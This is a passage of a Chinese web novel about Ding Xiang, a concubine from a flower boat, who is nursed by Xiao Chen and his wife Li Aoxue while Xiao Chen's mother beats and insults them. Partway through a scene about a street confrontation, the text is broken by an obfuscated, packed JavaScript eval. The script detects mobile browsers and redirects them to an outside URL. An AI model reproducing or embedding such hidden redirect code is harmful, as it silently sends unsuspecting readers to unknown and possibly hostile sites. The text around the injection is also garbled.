李傲雪取来干净的帕子,递给他:“擦擦吧。丁香姑娘吉人天相,不会有事的。”她顿了顿,柔声道,“今晚我就在这儿守着,和少爷一起照顾她,您放心。” 正说着,门外传来丫鬟的声音:“大夫来了!” 肖晨立刻起身迎出去,把大夫请进房里。大夫给丁香诊了脉,又看了看她掌心的伤和膝盖的红肿,摇了摇头:“这位姑娘是受了风寒,又加上气急攻心,身子本就弱,才晕了过去。我开两副药,先让她退热,再慢慢调理吧。” 肖晨连忙让人跟着去抓药,又吩咐厨房熬些清淡的粥,等丁香醒了好吃。 李傲雪在一旁细细听着大夫的嘱咐,一一记下,又让人取来上好的伤药,准备等丁香醒了给她擦膝盖。 肖晨坐在床边,看着丁香苍白的脸,心里又悔又气。悔自己没能护好她,气母亲的心肠太硬。 李傲雪端来温水,轻声道:“少爷,喝点水吧。接下来有我呢,您别太熬着。” 肖晨接过水杯,却没喝,只是望着床上的人,声音低沉:“傲雪,委屈你了。”他知道,母亲定是也为难了她。 李傲雪笑了笑,眼底却藏着一丝疲惫:“一家人不说这话。只要咱们心齐,总会好起来的。” 夜渐渐深了,药熬好了,李傲雪小心地扶起丁香,一点点把药汁喂进去。药味很苦,丁香皱着眉,却还是咽了下去。 肖晨看着她干裂的嘴唇,拿起一旁的蜜饯,等她喝完药,轻轻放在她嘴边。 窗外的月光透过窗棂照进来,落在三人身上,带着几分清冷,却也透着一丝相依为命的暖意。 肖晨知道,这一夜注定无眠,但只要能守着她们,再难的夜,他也能熬过去。 后半夜,丁香终于退了热,呼吸渐渐平稳下来。肖晨守在床边,握着她微凉的手,眼皮打架却不敢合眼,生怕她再出什么岔子。李傲雪在一旁打了个盹,又起身去换了盆温水,轻轻给丁香擦了擦手心。 天快亮时,丁香终于睁开了眼,眼神还有些迷蒙。她动了动手指,触到肖晨温热的掌心,愣了愣才缓过神来。 “公子……”她声音沙哑得厉害。 “醒了?”肖晨立刻凑上前,眼里满是欣喜,“感觉怎么样?头还疼吗?” 丁香摇摇头,想起昨日的事,眼圈又红了:“让公子担心了……” “不关你的事。”肖晨打断她,语气坚定,“以后有我在,谁也不能再欺负你。” 李傲雪端来温水:“先喝点水吧,嗓子都哑了。” 丁香被肖晨扶着坐起来,喝了几口温水,嗓子才舒服些。她看着两人眼下的青黑,心里一阵愧疚:“少夫人,您也熬了一夜,快去歇歇吧。” “我没事,”李傲雪笑了笑,“厨房熬了白粥,我去给你端来。” 等李傲雪出去,丁香才小声问:“公子,母亲她……” “别管她。”肖晨握紧她的手,“我已经跟她说过了,她要是再敢对你动手,我就带着你们搬出去。” 丁香心里一惊:“公子,万万不可!那样岂不是让您背上不孝的名声?” “名声哪有你们重要。”肖晨看着她,“我不想再看你受委屈。” 丁香的眼泪掉了下来,不是难过,是感动。她抽噎着说:“公子对我这么好,我……我无以为报。” “好好活着,陪着我,就是最好的报答。”肖晨替她擦去眼泪,“别想那么多,先把身子养好。” 这时李傲雪端着粥进来,见丁香醒了,笑着说:“正好,刚熬好的,你喝点垫垫肚子。” 丁香被两人照顾着喝了小半碗粥,又昏昏沉沉睡了过去。这次睡得很安稳,大概是知道身边有人守着,不必再担惊受怕。 肖晨和李傲雪轻手轻脚地退到外间。 “少爷,您去书房躺会儿吧,”李傲雪轻声道,“这里有我看着。” 肖晨摇摇头:“我就在这儿守着。”他顿了顿,看着李傲雪,“今日多谢你了。” 李傲雪叹了口气:“其实母亲心里也不是铁石心肠,只是一时转不过弯来。等过些日子,我再慢慢劝劝她,总会好的。” 丁香醒来时,窗外的日头已升到半空,暖黄的光透过窗纱洒在被褥上,带着几分柔和。她动了动身子,虽还有些乏力,但烧退了,膝盖的钝痛也轻了许多。 转头一看,肖晨正坐在床边看书,目光却时不时往她这边瞟,见她醒了,立刻放下书卷凑过来:“醒了?感觉好些了吗?” 丁香点点头,声音比昨夜清亮了些:“好多了,让公子担心了。”她看着他眼下的乌青,心里过意不去,“公子,您快去书房读书吧,别总守着我。耽误了功课可不好。” 肖晨握住她的手,指尖温温的:“读什么书?我怎么能放下你不管。”他语气笃定,“眼下什么事情都没有你重要。功课什么时候都能补,可你要是有个三长两短,我才真要后悔。” 丁香心里一暖,眼眶微微发热:“我真的没事了,就是还有点乏。” “没事也得好好歇着。”肖晨替她掖了掖被角,“等你彻底好起来,我带你出去逛逛。去城郊的月湖看看,听说那里的荷花正开得旺,还有你上次说想吃的那家桂花糕,咱们也去买来尝尝。” 丁香愣住了,随即眼里泛起光亮。她自进府后就没踏出过大门,更别提去城外逛了。花船上的日子里,她只在画本上见过月湖的景致,那时总想着,若有一天能自由自在地去看看就好了。 “真的吗?”她小声问,带着一丝不敢置信的雀跃。 “当然是真的。”肖晨笑了,伸手揉了揉她的头发,“等你好了,咱们就去,就咱们两个。” 丁香用力点头,嘴角忍不住上扬,先前受的委屈仿佛都被这突如其来的期待冲淡了。她靠在床头,看着肖晨温柔的眉眼,忽然觉得,只要能这样被他放在心上,再难的日子也能熬过去。 “那我一定快点好起来。”她轻声说,语气里满是憧憬。 肖晨看着她眼里重新燃起的光彩,心里也松快了些。他拿起一旁的书,却没再看,只是陪着她说话,讲些书房里的趣事,或是城外的风光,逗得她时不时露出浅浅的笑。 肖母在房里坐立难安,听说肖晨一整天都守在丁香房里,连书房都没踏进去半步,气得将手里的茶盏重重摔在桌上。 “真是反了天了!”她对着身边的丫鬟骂道,“那贱货定是又耍了什么狐媚手段,把我儿子迷得晕头转向!” 她深吸一口气,对丫鬟道:“去把李傲雪给我叫来!” 李傲雪刚吩咐厨房炖了些滋补的汤,听闻肖母叫她,心里便有了几分预感,还是整了整衣襟,快步赶了过去。 一进房,就见肖母脸色铁青地坐在榻上,眼神锐利得像刀子。 “母亲。”李傲雪规规矩矩行了礼。 肖母没让她起来,劈头盖脸就骂:“你这个妻子是怎么做的?连自己的男人都不知道心疼!他整日守着个狐狸精,耽误了读书误了前程,你就眼睁睁看着?连句劝的话都不会说?” 李傲雪垂着眼道:“母亲息怒,少爷是担心丁香姑娘的身子,非要亲自照看,我劝过,可他不听……” “不听你就任由着他?”肖母猛地一拍桌子,“我看你就是故意的!想让那个贱货蹬鼻子上脸,好分你的地位是不是?” “儿媳绝无此意。”李傲雪连忙道,“少爷对丁香姑娘只是怜惜,心里最敬重的还是母亲和儿媳。” “怜惜?我看是被勾了魂!”肖母冷笑一声,冲门外喊道,“来人!把戒尺拿来!” 很快,丫鬟捧着一把乌黑的戒尺进来,递到肖母面前。 肖母拿起戒尺,指着地上:“跪下!” 李傲雪身子一僵,还是依言跪了下去。冰凉的地砖透过衣料传来寒意,她知道,这顿打是躲不过了。 “你身为肖家主母,管不住丈夫,护不住家宅,留着你还有什么用!”肖母扬手就将戒尺抽了下去,“今天我就替你爹娘好好教教你,怎么做个本分的妻子!” 戒尺落在背上,发出沉闷的响声,疼得李傲雪浑身一颤,额头上瞬间渗出冷汗。 “打!给我狠狠地打!”肖母越说越气,自己打累了,就把戒尺塞给旁边的丫鬟,“使劲打!打到她知道错了为止!” 丫鬟不敢违抗,只能闭着眼扬起戒尺。一下又一下,李傲雪的后背很快就红透了,她死死咬着唇,硬是没哼出一声,只觉得背上像着了火,疼得几乎要晕厥过去。 肖母坐在榻上,看着她强撑的模样,心里的火气才稍稍压下去些:“知道错了吗?” 李傲雪伏在地上,声音因忍痛而发颤,却依旧清晰:“儿媳知错……往后定会好好劝少爷,不让他因旁事分心。” “哼,记住你说的话。”肖母挥了挥手,“滚吧,别在我跟前碍眼!” 李傲雪挣扎着从地上爬起来,后背的剧痛让她几乎站立不稳,她强撑着福了福身,转身一步步挪出房间。刚走出院门,就再也忍不住,扶着墙剧烈地咳嗽起来,冷汗湿透了里衣,黏在背上,又疼又凉。 她望着丁香房间的方向,轻轻叹了口气——这府里的日子,怕是再难平静了。 李傲雪回到自己房间,刚关上门就踉跄了一下,扶住桌沿才站稳。后背的疼一阵紧过一阵,像是有无数根针在扎。 “少夫人!”玉溪见她脸色惨白,连忙上前扶住,看到她背后渗出的血迹,吓得眼圈都红了,“这是怎么了?谁打的您?” 李傲雪摆了摆手,声音虚弱:“别声张,快去拿伤药来。” 玉溪不敢多问,赶紧取来上好的金疮药和干净的布条。解开衣襟时,看到背上纵横交错的红痕,有些地方甚至渗了血,玉溪心疼得直掉泪:“夫人,这打得也太狠了……” “上药吧。”李傲雪咬着牙,疼得额头冒汗,却没再出声。 药膏涂在伤处,凉丝丝的,却压不住那火烧火燎的疼。玉溪一边小心翼翼地替她包扎,一边哽咽道:“少夫人,这事得告诉少爷啊!不然您这罪不是白受了?” “不能说。”李傲雪立刻摇头,语气坚定,“少爷现在一心在丁香姑娘身上,告诉他,只会让他烦心,说不定还会和母亲闹得更僵。” “可……”玉溪还想劝。 “听话。”李傲雪打断她,“只要我们两个保密,没人会知道的。等过些日子,伤养好了,也就过去了。” 玉溪看着她疼得发白的嘴唇,终究还是点了点头:“那我一定守口如瓶。” 接下来的几日,李傲雪忍着疼,依旧像往常一样打理家事,只是行动间难免有些迟缓。肖晨忙着照顾丁香,竟没察觉她的异样。 肖晨几乎寸步不离地守着丁香,亲自喂药、陪她说话,夜里也就在床边的软榻上歇着。丁香在他的照料下,气色一天比一天好,脸上渐渐有了血色,也能下床慢慢走动了。 这天傍晚,丁香靠在窗边看着院子里的石榴花,肖晨从身后轻轻拥住她:“看什么呢?这么出神。” “看花开得真好。”丁香笑着回头,“公子,我感觉已经好得差不多了,咱们什么时候去月湖?” 肖晨刮了刮她的鼻子:“等你再养几日,确定身子无碍了就去。” 而李傲雪站在廊下,看着这一幕,轻轻舒了口气。只要他们能好好的,自己受这点疼,也值了。只是后背的伤隐隐作痛,提醒着她,这府里的风波,或许还远远没结束。 丁香身子彻底利索了,肖晨便张罗着出门,拉上李傲雪:“之前说好了带你出去逛逛,今日天气正好,咱们三个一起去。” 李傲雪笑着摆手:“你们去吧,我这儿还有些账目没理清,得盯着些。”她后背的伤还没好利索,走久了牵扯着疼,也不想扫了他们的兴。 肖晨知道她一向细心,府里的事离不得她,便没强求:“那我们早点回来,给你带城南的糖糕。” 出了府门,街上人来人往,叫卖声此起彼伏。丁香攥着肖晨的衣袖,眼里满是新奇,又带着几分怯意。 “别怕。”肖晨握紧她的手,“先去布店给你做两身新衣裳,上次说的还没兑现呢。” 布店里的掌柜见了肖晨,连忙迎上来。肖晨让丁香自己挑料子,又让掌柜按她的身量细细量了尺寸,吩咐做好了直接送回府里。 从布店出来,两人沿着街慢慢走。丁香看着路边的糖画、捏面人的小摊,眼睛亮晶晶的,像个孩子。 正走着,迎面过来几个醉醺醺的汉子,一眼就认出了丁香,顿时起哄起来。 “哟,这不是花船上的丁香姑娘吗?”一个满脸横肉的汉子怪笑道,“听说被人赎走了,原来是跟了这位公子啊。” 旁边的人接茬:“真有人肯花钱买个脏女人回家?也不怕败坏了门风!” 污言秽语像石子一样砸过来,丁香的脸瞬间白了,往肖晨身后缩了缩。 肖晨脸色一沉,将她护在怀里,冷声道:“嘴巴放干净点!” 那几个汉子却更起劲了,其中一个眯着眼打量丁香,语气轻佻:“贱货就是贱货,还真当自己能做少奶奶?不过是让人玩玩罢了。哎,公子,这女人在床上的滋味是不是很销魂?不然怎么肯花这冤枉钱?” 这话戳得丁香浑身发抖,眼泪在眼眶里打转,却死死咬着唇没掉下来。 肖晨怒火中烧,扬手就给了那汉子一拳,打得他踉跄后退:“找死!” 汉子们没想到他会动手,顿时围了上来。肖晨将丁香护在身后,沉着脸道:“再敢说一句,我拆了你们的骨头!”他虽是读书人,此刻动了真怒,眼神里的狠厉竟让几个醉汉怯了几分。 “走!”肖晨不再理会他们,牵着丁香的手快步离开。 走到僻静处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065775|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他才停下脚步,见丁香低着头,肩膀微微颤抖,心里又疼又悔。 “对不起,让你受委屈了。”他抬手替她擦去眼泪,声音发哑,“都怪我,不该带你走这条路。” 丁香摇摇头,泪眼婆娑地望着他:“不怪公子……是我自己不好……”那些话像针一样扎在她心上,提醒着她永远洗不掉的过去。 肖晨捧着她的脸,认真道:“在我心里,你一点都不脏。那些人不懂你,是他们瞎了眼。别往心里去。” 他拉着她往回走,脚步更快了些:“咱们先回府,以后我带你去人少的地方,再不让人欺负你。” 阳光明明晃晃,照在两人交握的手上,却驱不散丁香心头的阴霾。她知道,只要“花船”这两个字还刻在她身上,这样的指指点点,或许永远都躲不掉。 街角的茶楼上,王老爷端着茶杯,眯着眼看着街上那一幕,嘴角勾着嘲讽的笑。身旁的儿子王公子脸色铁青,拳头攥得死紧。 “看见了吧?”王老爷呷了口茶,慢悠悠地开口,“当初你就为了这么个女人跟我犟,闹得鸡飞狗跳,非说要赎她出来。现在看看,人家长得好好的,小两口恩恩爱爱,哪轮得到你置喙?” 王公子喉结滚动,眼神死死盯着肖晨护着丁香离去的背影,语气发闷:“我……” “我什么我?”王老爷打断他,“后悔了?当初我就说,这女人模样是俏,可毕竟是花船上的,玩玩也就罢了。我当时就说了,等我玩腻了,就赏给你,让你尝尝鲜。你偏不依,非要充什么英雄好汉,硬生生把人放跑了。” 他放下茶杯,拍了拍儿子的肩膀,语气带着几分戏谑:“你说,要是当初听我的,现在守在她身边的,是不是就该是你了?说不定这会儿,你正带着她在街上买东西,哪轮得到肖家那小子捡现成的?” 王公子的脸一阵红一阵白,心里像被什么东西堵着,又闷又疼。他当初确实是动了真心,见不得丁香在花船上受委屈,才跟父亲闹,想赎她出来给她个安稳去处。可后来听说她被肖晨接走了,心里又酸又涩,却也只能认了。 今日亲眼见了,肖晨对她那般珍视,连旁人一句闲话都容不得,再想起父亲这番话,只觉得脸上火辣辣的。 “爹,别说了。”他声音沙哑,起身就要走。 “急什么?”王老爷拉住他,“这女人既然入了肖家的门,往后总有再见面的机会。你且看着,一个花船出身的,想在肖家站稳脚跟,没那么容易。”他眼里闪过一丝算计,“说不定哪天,她自己就熬不住了呢?” 王公子没接话,甩开他的手大步下楼。街上的人早已散去,只留下满地狼藉的脚印,像他此刻乱糟糟的心绪。 他抬头望向肖府的方向,心里五味杂陈。或许父亲说得对,他后悔了。可后悔又有什么用?有些人,错过了,就是一辈子。 肖晨和丁香刚踏进府门,就见门房匆匆来报:“公子,丁香姑娘,外面有位王公子求见,说有要事找丁香姑娘,还说……请姑娘念在他前段时间帮过忙的份上,务必见一面。” 丁香脚步一顿,心里咯噔一下。她知道是谁,上次从王府逃出来,确实多亏了王公子暗中相助。 “我去看看。”她转头对肖晨说,“你先回房等我,很快就回来。” 肖晨看着她神色有异,虽有些疑惑,但还是点了点头:“有事立刻叫我。” 丁香跟着门房来到外院的偏厅,王公子正背着手站在窗边,听见脚步声,转过身来。他眼下带着青黑,神色比上次见时憔悴了些,眼神却紧紧锁着她。 “丁香。”他开口,声音有些沙哑。 丁香福了福身:“王公子。” “你还好吗?”王公子看着她,“我听说你在肖府……受了些委屈。”他指的是街上那些闲言碎语。 丁香垂下眼:“劳公子挂心,我很好。” “很好?”王公子自嘲地笑了笑,“被人指着鼻子骂‘贱货’,这也叫很好?”他上前一步,语气急切,“跟我走吧,我带你离开这里。我知道你在肖府过得并不舒心,他母亲容不下你,外面的人也戳你脊梁骨,跟着我,我不会让任何人欺负你。” 丁香后退半步,拉开距离,语气疏离却坚定:“王公子,多谢你当初出手相助,这份恩情我记在心里。但你我二人,终究只是朋友。我现在是肖家的人,不会跟你走。” “朋友?”王公子像是被刺痛了,猛地攥住她的手腕,“我在你心里,就只是朋友?我为了你跟父亲反目,为了你冒风险送你出王府,你就这么对我?” 他红着眼问:“我有什么比不上肖晨?他能给你的,我也能给!甚至比他给的更多!当初我就该把你留在王府,不管你愿不愿意,让你成为我的人,那样你现在身边的,就该是我!” “王公子请自重!”丁香用力挣开他的手,手腕被攥得生疼,“当初你放我走,我感激不尽,但这不是你胁迫我的理由。我现在过得很好,公子不必再费心。” 她说完,转身就要走。 “丁香!”王公子在她身后喊,声音带着一丝绝望,“你就这么喜欢他?哪怕被他母亲羞辱,被外人唾骂,也甘之如饴?” 丁香脚步未停,只淡淡留下一句:“是。” 有些情意,一旦认定了,就再也容不下旁人。哪怕前路坎坷,她也想跟着肖晨走下去。 回到房里,肖晨见她脸色发白,手腕上还有红痕,立刻皱眉:“他对你做什么了?” 丁香摇摇头,强笑了笑:“没什么,就是说了些感谢的话。我有些累了,想歇会儿。” 肖晨没再追问,只是轻轻握住她的手腕,看着那道红痕,眼底渐渐沉了下去。他知道,有些事,她不想说,但他不会让她一个人扛着。 肖母在屋里听丫鬟添油加醋地说了王公子来访的事,一口茶水差点喷出来,拍着桌子就骂:“这个骚货!刚从外面惹了一身腥回来,转头就敢勾三搭四,连王府的人都敢招惹!真是不知廉耻!” 她越想越气,根本坐不住,踩着步子就往丁香的小院冲,身后的丫鬟想拦都拦不住。 刚进院子,就见丁香正站在廊下出神,肖母几步冲上去,指着她的鼻子破口大骂:“贱蹄子!我就知道你这种从花船里出来卖的,骨子里就带着脏气!才进府几天,就敢把野男人勾到家门口来,你还要不要脸?” 丁香被这突如其来的怒骂惊得浑身一颤,抬头见是肖母,脸色瞬间白了:“母亲,不是您想的那样,我和王公子只是……” “只是什么?只是勾搭成奸吗?”肖母根本不听她解释,声音尖利得像刀子,“当初就该让你死在花船上,省得进我肖家的门,败坏家风!我看你这种人,活着就是祸害,怎么不去死!” 最后那句“怎么不去死”像重锤砸在丁香心上,她猛地后退一步,撞在廊柱上,眼里的光瞬间灭了,只剩下一片死寂的白。 她张了张嘴,想辩解,想说明王公子只是来道谢,可喉咙像被堵住一样,一个字也吐不出来。那些刻薄的、淬毒的话,比街上的闲言碎语更伤人,因为说这话的人,是肖晨的母亲,是她想努力讨好、却始终无法靠近的长辈。 “母亲!”肖晨的声音从院门口传来,他刚回房没等多久,就听见这边的争吵声,快步赶了过来,“您在干什么!” 肖母见儿子来了,火气更盛:“你来得正好!看看你护着的好女人!刚把野男人领到府里来,你还当宝贝似的捧着!我肖家的脸都被她丢尽了!” 肖晨一把将丁香拉到身后,挡在她面前,脸色沉得能滴出水:“娘!您能不能听人解释?王公子是来道谢的,当初若不是他,丁香根本出不来王府!您怎能这样不分青红皂白地骂人?” “道谢?孤男寡女,有什么谢好道的?”肖母冷笑,“我看是旧情复燃,想私奔吧!” “您太过分了!”肖晨的声音带着压抑的怒火,“您要是再这样侮辱她,我……” “你想怎样?”肖母梗着脖子,“为了这个贱货,你还要跟我反目不成?” 肖晨看着母亲狰狞的脸,又看了看身后浑身发抖、眼神空洞的丁香,心口像被巨石压住,疼得喘不过气。他没再说话,只是紧紧握住丁香的手,用尽全力给她支撑。 阳光明明照在院子里,丁香却觉得浑身冰冷,比跪在青石板上擦地那天还要冷。她望着肖母愤怒的脸,忽然觉得,或许自己真的不该来这里,不该成为肖晨的拖累,更不该……活着。 50.这个贱货我嫌脏 肖母被肖晨护犊子的模样彻底激怒,指着丁香的鼻子吼道:“今天你必须把这个骚货给我卖了!立刻!马上!还有她住过的那间屋子,给我拆了重盖!她用过的所有东西,一件不留,全给我烧了!我看着就嫌脏,晦气!” “娘!”肖晨猛地提高声音,将丁香护得更紧,“她是干净的!从来都是!”他转头看向丁香,眼神里满是疼惜与坚定,“在我心里,她比谁都珍贵,是我想好好护着的人。” 他直视着肖母,一字一句道:“您要是再这样侮辱她,对她恶语相向,我真的不会再客气。您非要逼我选,那我只能告诉您——您会失去我这个儿子。” 这话像一把冰锥,狠狠扎进肖母心里。她瞪大眼睛看着儿子,仿佛第一次认识他似的。那个从小对她言听计从的儿子,为了一个花船出身的女人,竟然说出“失去我”这种话? “你……你说什么?”肖母的声音都在发抖,“你为了这个贱货,要跟我断绝母子关系?” “我不想走到那一步。”肖晨的声音沉得像深潭,“但我绝不会看着你伤害她。她是我的人,只要我在一天,就不会让任何人欺负她,包括您。” 丁香靠在肖晨身后,听着他掷地有声的话,眼眶瞬间红了。那些被肖母骂出的绝望和冰冷,仿佛都被这几句话驱散了,心口涌上一股滚烫的暖流,烫得她鼻尖发酸。 肖母看着儿子护着丁香的背影,那背影决绝得让她心慌。她张了张嘴,想再骂,却发现喉咙发紧,一个字也说不出来。她忽然觉得,自己好像真的要抓不住这个儿子了。 “好……好得很……”肖母气得浑身发抖,指着他们,“你们……你们真是要气死我!” 她猛地转身,踉跄着往外走,走到门口时,又回头狠狠剜了丁香一眼,那眼神里的怨毒,像淬了毒的匕首。 院子里终于安静下来。肖晨转过身,见丁香眼圈通红,连忙替她擦去眼泪:“别怕,有我在。” 丁香摇摇头,哽咽着说:“公子……这样会不会太伤母亲的心了?” “是她先不讲道理。”肖晨握紧她的手,语气坚定,“有些底线,不能退。你放心,我会处理好的。” 夕阳的余晖透过树叶洒下来,落在两人交握的手上。丁香望着肖晨的侧脸,心里忽然安定下来。或许前路依旧难走,但只要有他这句话,她就有勇气再撑下去。 肖晨捧起丁香的脸,指腹轻轻擦过她眼角的泪,目光温柔得能滴出水来:“以后,我不会再让任何人为难你。不管旁人怎么说,怎么看,在我心里,你一直是最干净、最珍贵的存在。” 丁香望着他眼底毫不掩饰的珍视,心口像是被什么东西填满了,又酸又软。她踮起脚尖,轻轻吻上他的唇,带着一丝颤抖,也带着满腔的感激。 “公子,谢谢你。”她的声音带着哭腔,“你的这份爱,我……我无以回报。” 肖晨加深了这个吻,直到两人都有些喘不过气,才稍稍退开,额头抵着她的:“我不要你回报什么,只要你好好的,留在我身边就好。” 丁香用力点头,伸手紧紧环住他的腰,将脸埋在他的胸口,贪婪地闻着他身上清冽的皂角香。这味道让她安心,让她觉得自己是被珍视的,是值得被爱的。 “只要公子不嫌弃我,不赶我走,我就永远留在你身边,哪儿也不去。”她的声音闷闷的,却带着无比的坚定。 肖晨收紧手臂,将她抱得更紧,低头在她发顶印下一个轻柔的吻,然后拦腰将她抱起,一步步走向床榻。 烛火摇曳,映得帐幔染上一层暖融融的光晕。他将她轻轻放在床上,俯身吻下去,从额头到鼻尖,再到唇瓣,每一个动作都温柔得像是对待稀世珍宝。 丁香闭上眼睛,感受着他的吻,心里只有一个念头:她要好好回应他,给他所有的温柔和信任。这个男人,在所有人都轻视她、践踏她的时候,把她视若珍宝,她能做的,就是用尽全力去爱他,去温暖他。 她抬手勾住他的脖颈,主动迎上他的吻,带着一丝羞涩,也带着全然的交付。 肖晨用行动告诉她,她值得被好好疼爱;而丁香也用自己的方式回应,她愿意给他全部的信任与依赖。 肖晨将丁香紧紧拥在怀里,下巴抵着她的发顶,声音带着一丝后怕的沙哑:“以后不管受了什么委屈,哪怕是一句难听话,都要告诉我,不许再自己憋着,懂吗?” 丁香在他怀里蹭了蹭,鼻尖萦绕着他身上令人安心的气息,她轻轻点头,声音柔软却清晰:“嗯,我会的,公子。” 经历了这些日子的风风雨雨,她终于明白,逞强和隐忍换不来安宁,唯有彼此坦诚,才能让这份感情更坚固。他愿意为她遮风挡雨,她便该学着依赖这份温暖,而不是独自扛着所有委屈。 肖晨松开些力道,低头看着她泛红的眼角,伸手替她拭去残余的泪痕,指尖带着怜惜:“睡吧,有我在。” 丁香“嗯”了一声,往他怀里缩得更紧了些,像只找到了港湾的小兽。很快,就在他平稳的心跳声中沉沉睡去,连梦都是安稳的。 肖晨却没立刻睡着,他望着帐顶朦胧的纹路,心里暗暗打定主意。往后不管母亲如何,旁人如何,他都要护好怀里的人,让她再也不用在深夜里独自垂泪,再也不用因为那些刻薄的言语而辗转难眠。 他低头在她额头印下一个轻吻,动作轻柔得怕惊扰了她的梦。 “晚安,我的丁香。” 第二天清晨,阳光透过窗纱溜进房里,在被褥上投下斑驳的光影。 肖晨先醒了,看着身边还在熟睡的丁香,长长的睫毛在眼睑下投出浅浅的阴影,脸色比往日红润了些,他忍不住伸手轻轻拂过她的脸颊。 丁香被这轻柔的触碰弄醒,迷迷糊糊地睁开眼,看见他温柔的笑,顿时清醒了大半,脸颊微微发烫,往被子里缩了缩。 肖晨低笑出声,将她揽进怀里:“醒了?再赖会儿?” 丁香摇摇头,靠在他胸口:“不了,该起了。” 两人起身梳洗完毕,肖晨替她理了理鬓发,柔声道:“今天你就在房里好好歇着,不用做什么。要是闷了,就弹弹琴解闷,或者看看书。”他顿了顿,语气笃定,“母亲那边我已经打过招呼了,不会有人来打扰你,更不会让你受委屈。” 丁香抬眸望着他,眼里满是信赖:“我知道了,公子。”她伸手环住他的腰,脸颊贴着他的衣襟,“你去忙吧,我会想你的。” 这轻声的“想你”像羽毛拂过心尖,肖晨心里一软,低头在她唇上啄了一下:“我一忙完就回来陪你。” 他又叮嘱了丫鬟几句,让她们好生伺候,这才转身离开。 丁香站在门口看着他的背影消失在回廊尽头,心里暖暖的。她回到房里,坐在窗前的琴边,指尖轻轻拨弄琴弦,清脆的琴声在安静的屋里流淌开来。 阳光正好,琴声悠扬,她的嘴角带着浅浅的笑意。或许往后的日子仍有风雨,但只要想到那个会护着她、让她安心的人,心里便充满了勇气。 她知道,自己不是一个人了。 午后的阳光透过窗棂,在琴弦上投下细碎的光斑。丁香指尖悬在弦上,却没再拨动——方才肖晨临走时那温柔的一瞥,还在她心头萦绕。 他真的太好了。 好到会记得她随口提过的桂花糕,好到会在她受辱时不顾一切护着她,好到连责备都带着心疼。这份好,像温水煮茶,一点点渗透她的四肢百骸,让她从里到外都暖透了,却也生出了一丝不该有的贪心。 她想起李傲雪。那位少夫人总是温和的,待她也算宽厚,可每次看到肖晨对李傲雪客气又疏离的模样,再对比他对自己的珍视,丁香心里竟悄悄冒出个念头——她不想让了。 这个念头刚冒出来,就吓得她指尖一颤,差点碰响琴弦。 她怎么能这么想?李傲雪是明媒正娶的少夫人,是肖晨名正言顺的妻子,而她不过是个身份卑贱的妾室,能留在他身边已是天大的福气,怎能生出这般不知足的心思? 可……心这东西,哪是说收就能收住的? 肖晨看她时眼里的光,他握着她的手时的温度,他说“你很珍贵”时的认真……这些画面在她脑海里打转,让她忍不住贪恋,忍不住想独占这份好。 她知道这样不对,对李傲雪不公平,对肖晨也是负担。可每次想到肖晨或许会对李傲雪流露出同样的温柔,她心里就像被针扎似的,密密麻麻地疼。 “丁香姑娘,该喝药了。”玉溪端着药碗走进来,见她对着琴发呆,轻声提醒。 丁香回过神,慌忙低下头,掩去眼底的复杂情绪,接过药碗一饮而尽。苦涩的药味在舌尖蔓延,却压不住心底那点悄然滋长的、连自己都觉得羞愧的贪心。 她轻轻抚摸着冰凉的琴身,心里乱糟糟的。 或许,人都是这样吧。得到一点温暖,就想拥有更多。只是这份贪心,会不会最终变成刺,既伤了别人,也扎了自己? 玉溪见她对着琴发呆,眼神里带着自己从未见过的迷茫,忍不住放下手里的空药碗,轻声问:“姑娘,您这是在想什么呢?从方才起就魂不守舍的。” 丁香抬起头,眼里还蒙着一层薄雾,轻声道:“我在想……公子对我真好。他把我放在心上,护着我,疼着我,可我这样的出身,何德何能,能得到这样的爱?” 玉溪听了,沉默片刻,忽然自嘲地笑了笑:“姑娘,其实我懂这种感觉。” 她望着窗外,声音轻得像叹息:“当初花楼被赎身时,我也以为自己有机会留在公子身边。那时候总偷偷盼着,能得他半分垂怜。可日子久了才明白,他心里从来没有我。” “不过也没什么。”玉溪转头看向丁香,眼神坦然了许多,“少夫人待我宽厚,公子也从未亏待过我,能在肖府安稳度日,已经是天大的福气。我早就放下那些不该有的心思了,现在只想好好伺候你们,也算报答这份恩情。” 她顿了顿,看着丁香:“姑娘,公子待您不同,这份心意是真的。但有时候,太执着反而会累着自己。您看少夫人,她心里未必没有波澜,可她看得通透,知道什么该争,什么该放。” 丁香握着琴弦的手指紧了紧,低声道:“我知道……只是有些念头,一旦冒出来,就收不住了。” “慢慢来吧。”玉溪拍了拍她的手,“日子还长,别太为难自己。公子心里有您,这就比什么都强。” 玉溪出去后,屋里又恢复了安静。丁香望着琴弦上的光斑,心里渐渐清明了些。是啊,玉溪说得对,能得到肖晨的真心,已经是旁人求不来的幸运,又怎能奢求更多? 她轻轻拨动琴弦,琴声里少了几分纷乱,多了些平静。或许,她该学着像玉溪一样,守住眼下的温暖,别让贪心毁了这份来之不易的安稳。 李傲雪的后背渐渐消肿,虽动时仍有些牵扯痛,但总算能如常起身理事。这日午后,肖晨刚从书院回来,便径直往她院里来。 他推门进来时,李傲雪正坐在窗边翻着账本,听见动静抬头,脸上漾开温和的笑:“少爷回来了。” 肖晨在她对面坐下,看着她略显苍白的脸色,语气里带着几分歉意:“这几日光顾着丁香那边,都没好好来看你,你身子好些了吗?”他只当她前些日子是累着了,并未多想。 李傲雪合上账本,摇摇头:“我没事,劳少爷挂心了。”她垂眸浅笑,“丁香姑娘病着,少爷多照看些是应当的,我都明白。” 肖晨见她这般通情达理,心里更觉熨帖,又有些过意不去:“委屈你了。” “不委屈。”李傲雪抬眸望他,眼底清清明明,“夫妻之间,本就该相互体谅。少爷心里有我,我就知足了。” 肖晨握住她放在桌上的手,她的指尖微凉,他轻轻搓了搓,温声道:“自然是有的。你是我的妻子,这府里的主母,在我心里,分量从来都不一样。” 李傲雪指尖微顿,随即反手轻轻回握他,笑容柔和依旧:“我知道。” 